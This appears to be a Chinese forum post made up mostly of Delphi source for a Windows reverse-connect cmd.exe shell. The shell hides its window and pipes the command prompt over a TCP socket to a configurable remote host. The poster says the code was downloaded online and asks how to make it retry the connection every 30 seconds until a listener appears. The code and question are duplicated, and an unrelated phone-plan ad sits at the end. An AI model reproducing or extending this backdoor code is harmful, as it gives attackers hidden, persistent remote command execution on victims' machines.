program test;uses
Windows,Winsock2,winsock;var
si :TStartupInfo;
pi :TProcessInformation;
sin :TSockAddrIn;
ip :pchar;
port :integer;
wd :TWSAdata;
sock :TSocket;function StrToIntDef(const S: string; Default: Integer): Integer;
var
E: Integer;
begin
Val(S, Result, E);
if E <> 0 then Result := Default;
end;begin
if (ParamCount<1) or (ParamCount>2) then
begin
port :=8210;
ip :='127.0.0.1';
end else
begin
port :=StrToIntDef(ParamStr(1),0);
ip :=lpstr(ParamStr(2));
end; ZeroMemory(@si, SizeOf(si));
WSAStartup(MAKEWORD(1,1),wd);
sock :=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sin.sin_family :=AF_INET;
sin.sin_port :=htons(port);
sin.sin_addr.s_addr :=inet_addr(pchar(GetIP(ip)));
while (connect(sock,sin,sizeof(sin))<>0) do Sleep(30000); si.cb :=sizeof(si);
si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow :=SW_HIDE;
si.hStdInput :=sock;
si.hStdOutput :=sock;
si.hStdError :=sock; CreateProcess(nil,'cmd.exe',nil,nil,TRUE,CREATE_NEW_CONSOLE,nil,nil,si,pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseSocket(sock);
WSACleanup;
end.这个是一个网上下载的反向连接CMD SHELL
现在第一次运行时候 连接正常
现在想当服务器没有监听端口8210的时候 处于等待状态 每30秒连接服务器
直到连上
如此循环
请问怎么写
Windows,Winsock2,winsock;var
si :TStartupInfo;
pi :TProcessInformation;
sin :TSockAddrIn;
ip :pchar;
port :integer;
wd :TWSAdata;
sock :TSocket;function StrToIntDef(const S: string; Default: Integer): Integer;
var
E: Integer;
begin
Val(S, Result, E);
if E <> 0 then Result := Default;
end;begin
if (ParamCount<1) or (ParamCount>2) then
begin
port :=8210;
ip :='127.0.0.1';
end else
begin
port :=StrToIntDef(ParamStr(1),0);
ip :=lpstr(ParamStr(2));
end; ZeroMemory(@si, SizeOf(si));
WSAStartup(MAKEWORD(1,1),wd);
sock :=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sin.sin_family :=AF_INET;
sin.sin_port :=htons(port);
sin.sin_addr.s_addr :=inet_addr(pchar(GetIP(ip)));
while (connect(sock,sin,sizeof(sin))<>0) do Sleep(30000); si.cb :=sizeof(si);
si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow :=SW_HIDE;
si.hStdInput :=sock;
si.hStdOutput :=sock;
si.hStdError :=sock; CreateProcess(nil,'cmd.exe',nil,nil,TRUE,CREATE_NEW_CONSOLE,nil,nil,si,pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseSocket(sock);
WSACleanup;
end.这个是一个网上下载的反向连接CMD SHELL
现在第一次运行时候 连接正常
现在想当服务器没有监听端口8210的时候 处于等待状态 每30秒连接服务器
直到连上
如此循环
请问怎么写
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货